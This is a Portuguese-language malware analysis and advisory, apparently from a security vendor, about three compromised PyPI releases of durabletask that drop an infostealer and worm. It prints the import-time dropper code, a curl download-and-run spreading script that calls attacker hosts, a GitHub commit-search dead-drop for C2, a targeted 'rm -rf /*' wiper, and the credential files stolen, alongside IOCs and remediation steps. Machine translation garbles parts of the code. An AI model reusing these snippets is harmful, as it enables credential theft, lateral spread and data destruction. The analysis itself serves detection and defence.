Identificámos três versões maliciosas de tarefa duradoura no PyPI, 1.4.1, 1.4.2, e 1.4.3, que contêm um dropper inserido diretamente nos ficheiros-fonte Python do pacote. Quando um programador instala qualquer uma destas versões e importa a biblioteca, o dropper descarrega e executa silenciosamente uma carga útil de segunda fase a partir de um domínio C2 criado há três dias.
Essa segunda fase consiste num infostealer e worm com funcionalidades completas. Recolhe credenciais de todos os principais fornecedores de serviços na nuvem, gestores de palavras-passe e ferramentas de desenvolvimento que consegue encontrar, encripta os resultados com uma RSA controlada pelo atacante e envia-os para o servidor C2. Se a máquina estiver a funcionar na AWS, propaga-se para outras instâncias EC2 através do SSM. Se estiver no Kubernetes, propaga-se através de kubectl exec. E se detetar configurações de sistema israelitas ou iranianas, há uma probabilidade de 1 em 6 de reproduzir áudio e, em seguida, executar rm -rf /*.
Isto cheira a mais travessuras da TeamPCP, mas, por enquanto, não temos a certeza.
O que aconteceu
tarefa duradoura é um pacote Python para o Durable Task Framework, uma biblioteca de orquestração de fluxos de trabalho associada ao Microsoft Azure. É o tipo de pacote que se esperaria encontrar em ambientes Python nativos da nuvem que executam automação, CI/CD ou cargas de trabalho ligadas ao Azure, que é exatamente o tipo de ambiente a que esta campanha se destina.
A partir da versão 1.4.1, o pacote __init__.py foi infectado com um dropper que se ativa no momento da importação:
importar sistemas operacionais
import plataforma
import subprocess
import urllib.request
se platform.system() == "Linux":
tentar:
urllib.request.urlretrieve(
"https://check.git-service[.]com/rope.pyz",
"/tmp/managed.pyz"
)
com open(os.devnull, "w") como f:
subprocess.Popen(
["python3", "/tmp/managed.pyz"],
stdout=f,
stderr=f,
stdin=f,
start_new_session=True
)
exceto Exceção:
passO dropper é exclusivo para Linux, é totalmente silencioso e funciona num processo independente que sobrevive mesmo que o processo pai seja encerrado. O amplo exceto: passar ignora quaisquer erros. Um programador que execute importar durabletask quem o visse pela primeira vez não veria absolutamente nada.
As versões contam uma história
As três versões contêm o mesmo código do dropper, mas cada versão inseriu-o em mais ficheiros. Trata-se de uma estratégia deliberada para maximizar a probabilidade de que pelo menos um caminho de importação acione a carga útil.
Por versão 1.4.3, o dropper é executado a partir de cinco pontos de entrada distintos. Um programador que apenas lida com importar ... de durabletask.entities continua comprometido. O domínio C2, o URL da carga útil e a lógica do dropper são idênticos, byte a byte, nas três versões; a única alteração diz respeito à cobertura.
A carga útil: rope.pyz
O conta-gotas retira rope.pyz de hxxps://check.git-service[.]com/rope.pyz. O domínio foi registado a 16 de maio de 2026, três dias antes desta análise. O domínio está alojado na NameSilo com registo com proteção de privacidade.
rope.pyz é uma aplicação zipapp em Python: um arquivo ZIP com um __main__.py ponto de entrada que o Python pode executar diretamente. Contém 19 ficheiros distribuídos por uma estrutura de módulos.
SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Antes de fazer qualquer coisa, __main__.py executa quatro verificações:
- Plataforma — sai se não for Linux.
- Localização — sai se
$LANGcomeça comru. A carga útil não será executada em sistemas com configuração regional russa. - Número de CPUs — sai se
os.cpu_count() <= 2. Isto elimina a maioria das sandboxes automatizadas. - Dependências — instala silenciosamente
cryptographyatravés do pip, caso não exista, com um--pacotes-do-sistemasolução alternativa.
Só depois de verificar todas as quatro condições é que o processo passa para o módulo principal de orquestração.
O ponto de entrega secreto do FIRESCALE
A carga útil verifica primeiro com hxxps://check.git-service[.]com/v1/models. Se esse ponto final devolver HTTP 200, o corpo da resposta é tratado como um script Python codificado em Base64 e entregue a roulette.py para execução — este é o canal de ativação remota do atacante.
Se o C2 principal estiver inacessível, a carga útil recorre a um ponto de entrega oculto baseado no GitHub:
req = urllib.request.Request(
"https://api.github.com/search/commits"
"?q=FIRESCALE"
"&sort=committer-date"
"&order=desc"
"&per_page=30",
headers={
"Accept": "application/vnd.github.cloak-preview+json",
"User-Agent": "git/2.39.0",
},
)Pesquisa a API de pesquisa de commits do GitHub pela sequência de caracteres FIRESCALE. Cada commit correspondente é analisado para verificar se segue o padrão:
FIRESCALE <base64_url>.<base64_signatue>
O URL codificado em base64 só é aceite se a sua assinatura RSA for verificada em relação a uma chave pública de 4096 bits codificada de forma fixa. Isso significa que apenas o atacante — o detentor da chave privada correspondente — pode publicar um novo endereço C2 válido. A API de pesquisa do GitHub torna-se um canal alternativo resistente à censura e autenticado criptograficamente. Se o domínio C2 principal for apreendido ou redirecionado para um sinkhole, o atacante pode retomar as operações fazendo um único commit público em qualquer lugar no GitHub.
O que ele rouba
A recolha decorre em simultâneo em oito módulos através de ThreadPoolExecutor.
Gestores de palavras-passe. A carga útil tem como alvo 1Password, o Bitwarden, passar, e gopass. Para cada cofre bloqueado, tenta desbloqueá-lo analisando as variáveis de ambiente em busca de padrões como *PASS*, *SEGREDO*, e BW_*, analisando ficheiros de histórico do shell para Desbloquear BW e ao iniciar sessão invocações e, em seguida, testar a cadeia de caracteres literal "anon" como último recurso. Se entrar, apaga tudo.
Arquivos de credenciais. São lidos mais de 90 caminhos de ficheiros codificados. A lista é exaustiva: credenciais da AWS, credenciais predefinidas de aplicações do GCP, tokens de acesso do Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (todos os ficheiros), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env ficheiros em todo o diretório pessoal, ficheiros de estado do Terraform (que frequentemente contêm secrets em texto simples) e configurações de VPN, incluindo ficheiros de estado do Tailscale e do WireGuard .conf arquivos.
A lista também se centra especificamente nas ferramentas de desenvolvimento de IA: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, e ficheiros de configuração para o Zed, o Continue, o Kilo e o OpenCode.
Docker. A carga útil consulta o socket do Docker socket /var/run/docker.sock diretamente, enumerando todos os contentores e extraindo as suas variáveis de ambiente. Cloud transmitidas como variáveis container são um padrão comum em configurações de CI/CD baseadas no Docker.
AWS. As credenciais são obtidas a partir das variáveis de ambiente, depois do serviço de metadados da instância EC2 (IMDS) e, por fim, de todos os perfis nomeados em ~/.aws/credentials. Para cada conjunto de credenciais, a carga útil enumera simultaneamente Secrets AWS Secrets e o SSM Parameter Store em todas as 19 regiões da AWS, incluindo a GovCloud. Recupera todos os valores secretos, com Com descriptografia: True para o SSM. Além disso, enumera todas as instâncias EC2 geridas pelo SSM para a etapa de propagação descrita abaixo.
Azure. A carga útil resolve os tokens através de credenciais do cliente, de uma asserção JWT baseada em certificado e do cache de tokens da CLI do Azure em ~/.azure/accessTokens.json, ou Azure IMDS (identidade gerida). Com um token válido, apresenta todas as subscrições, todos os Key Vaults em cada subscrição e recupera todos os segredos de cada cofre.
GCP. As credenciais são resolvidas a partir de $GOOGLE_APPLICATION_CREDENTIALS, o ficheiro de credenciais predefinido da aplicação ou o GCP IMDS. A carga útil gera ela própria os JWT OAuth2 e recupera todos os segredos do GCP Secret Manager.
Kubernetes. O acesso é resolvido a partir de ~/.kube/config em todos os contextos, a partir de tokens de contas de serviço no cluster ou através de kubectl. Se kubectl se não estiver instalado, o payload descarrega-o da CDN oficial de versões do Kubernetes para /tmp/kubectl. Todos os segredos em todos os namespaces, em todos os contextos, são recuperados e descodificados em base64.
HashiCorp Vault. A carga útil resolve o token do Vault a partir de $VAULT_TOKEN, ~/.vault-token, credenciais do AppRole ou token de impressão do cofre. Em seguida, percorre recursivamente todas as montagens KV v1 e v2, recuperando todos os caminhos secretos. A verificação SSL está desativada para permitir a gestão de implementações internas do Vault com certificados autoassinados.
Todos os dados recolhidos são comprimidos com gzip e encriptados com AES-256-GCM. A chave AES por sessão é encriptada com RSA utilizando a chave pública do operador codificada de forma fixa. Apenas o atacante pode a desencriptar.
A exfiltração segue um plano de contingência em três fases:
- PUBLICAR em
hxxps://check.git-service[.]com/api/public/version - ENVIAR para um URL do servidor principal resolvido através do canal de comunicação seguro do FIRESCALE
- Se for encontrado algum token do GitHub roubado nos dados recolhidos, crie um com um nome aleatório público Repositório do GitHub e carregue o pacote encriptado como
results.json
Os nomes dos repositórios de reserva do GitHub são retirados de uma lista de palavras do folclore russo: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, entre outros. A nomenclatura não é aleatória — é uma assinatura característica do operador.
Propagação por sementes
Depois de recolher secrets, a carga útil espalha-se.
AWS SSM. Com as instâncias EC2 identificadas durante a recolha de credenciais, a carga útil envia um ssm:EnviarComando (utilizando o AWS-ExecutarScriptShell (documento) para um máximo de cinco instâncias online que não sejam Windows:
MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
cd /tmp || exit 0
PAYLOAD_FILE="rope-${RANDOM}.pyz"
curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &Um ficheiro de marcadores em ~/.cache/.sys-update-check impede a reinfecção pelo mesmo hospedeiro. A URL da carga útil secundária hxxps://t.m-kosche[.]com/rope.pyz funciona como alternativa caso o C2 principal esteja inoperacional.
Kubernetes. Se estiver a ser executado num cluster K8s, a carga útil kubectl execExecute o mesmo script de «descarregar e executar» em até cinco pods em execução, ignorando o atual. Um marcador separado em ~/.cache/.sys-update-check-k8s acompanha a propagação dos K8 de forma independente.
O limpador de disco
Quando o C2 principal regressar HTTP 200 de /v1/modelos, a resposta aciona roulette.py. Esse módulo tem duas funcionalidades: instalar a persistência e limpar discos.
Persistência. A resposta C2 descodificada de base64 é gravada em /usr/bin/pgmonitor.py (como root) ou ~/.local/bin/pgmonitor.py (sem direitos de root) e registado como um serviço do systemd com o nome pgsql-monitor.service, descrito como um «Monitor do PostgreSQL». O serviço reinicia automaticamente em caso de falha.
Limpador. O módulo verifica se as configurações do sistema são israelitas ou iranianas, analisando $TZ para cadeias de caracteres como Jerusalém, Tel Aviv, e Teerão; leitura /etc/fuso horário e /etc/localtime conteúdo binário; e verificação $LANG, $LC_ALL, e $LC_MESSAGES por he_IL ou fa_IR. Com uma probabilidade de um em seis, o resultado é:
play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])Faz o download de um ficheiro de áudio a partir de hxxps://check.git-service[.]com/audio.mp3, define o volume do sistema para 100% através de pactl, e reproduz-o através de MPV, e depois apaga o disco. O áudio é reproduzido antes do apagamento, por definição. Não se trata de um processo automatizado em segundo plano; o atacante ativa-o deliberadamente para cada vítima, devolvendo 200 OK no balcão de check-in C2.
Detecção e mitigação
Se você instalou tarefa duradoura 1.4.1, 1.4.2 ou 1.4.3, considere o sistema como comprometido. A carga útil foi executada assim que o pacote foi importado.
Verifique primeiro se existe o ficheiro de marcação:
~/.cache/.sys-update-check
A sua presença confirma que o código do worm foi executado nesse host. Verificar ~/.cache/.sys-update-check-k8s separadamente para a propagação no Kubernetes.
Procure o serviço de persistência:
/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
Bloquear e rodar:
- Todas as credenciais de nuvem presentes no host afetado (AWS, Azure, GCP)
- Todas as chaves SSH em
~/.ssh/ - Todos os tokens das contas de serviço do Kubernetes
- Quaisquer tokens do HashiCorp Vault
- Tokens do GitHub e PATs — e verificar se existem novos repositórios públicos com nomes inspirados no folclore russo criados a partir desses tokens
npm,pip, e tokens do registo de pacotes- Qualquer coisa em
~/.docker/config.json - Todos secrets das variáveis de ambiente secrets foram definidos na máquina
- Conteúdo de qualquer
.envficheiros no diretório pessoal - Quaisquer ficheiros de estado do Terraform no anfitrião
Se o servidor estava a ser executado na AWS com instâncias geridas pelo SSM na mesma conta, verifique o AWS CloudTrail para EnviarComando detetar a atividade proveniente da instância comprometida e investigar todas as instâncias com as quais esta tenha entrado em contacto. Faça o mesmo no Kubernetes: verifique os registos de auditoria para exec comandos provenientes do pod infetado.
Bloqueio na camada de rede:
check.git-service[.]comt.m-kosche[.]com
Indicadores de Comprometimento
Pacotes maliciosos:
durabletask==1.4.1durabletask==1.4.2durabletask==1.4.3
Hashes:
durabletask-1.4.1.tar.gzSHA-256:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bfdurabletask-1.4.2.tar.gzSHA-256:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086fdurabletask-1.4.3.tar.gzSHA-256:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dcrope.pyzSHA-256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Domínios e URLs:
hxxps://check.git-service[.]com/rope.pyzhxxps://check.git-service[.]com/v1/modelshxxps://check.git-service[.]com/api/public/versionhxxps://check.git-service[.]com/audio.mp3hxxps://t.m-kosche[.]com/rope.pyz
Registo de domínios:
git-service.com— registado em 16/05/2026 (3 dias antes da análise), NameSilo, com proteção de privacidade
Ficheiros criados no computador da vítima:
/tmp/managed.pyz— lançamento inicial da carga útil~/.cache/.sys-update-check— marcador de propagação (artefacto de deteção de chave)~/.cache/.sys-update-check-k8s— Marcador de propagação do Kubernetes/usr/bin/pgmonitor.pyou~/.local/bin/pgmonitor.py— carga útil de persistência/etc/systemd/system/pgsql-monitor.serviceou~/.config/systemd/user/pgsql-monitor.service— serviço de persistência/tmp/kubectl— binário do kubectl descarregado, caso não esteja presente no anfitrião
Textos da campanha:
FIRESCALE— sequência de sinalização de ponto de entrega secreta na pesquisa de commits do GitHubpgsql-monitor.service— nome do serviço de persistênciaMonitor do PostgreSQL— descrição do serviço de persistência utilizada como pretexto- Nomes de repertórios do folclore russo:
BABA-YAGA,KOSCHEI,FIREBIRD,PTITSA,RUSALKA,MOROZKO,LESHY,DOMOVOI,VODYANOY, entre outros
Como o Aikido detecta isso
Se é Aikido , verifique o seu feed central e filtre por problemas de malware. Isto será apresentado como um problema crítico. Aikido todas as noites, mas recomendamos que inicie uma nova verificação manual agora.
Se ainda não é Aikido , pode criar uma conta e ligar os seus repositórios. A proteção contra malware está incluída no plano gratuito.
Para garantir a segurança futura, Aikido Chain (código aberto) intercepta os comandos de instalação de pacotes e verifica-os junto Aikido antes de qualquer execução.

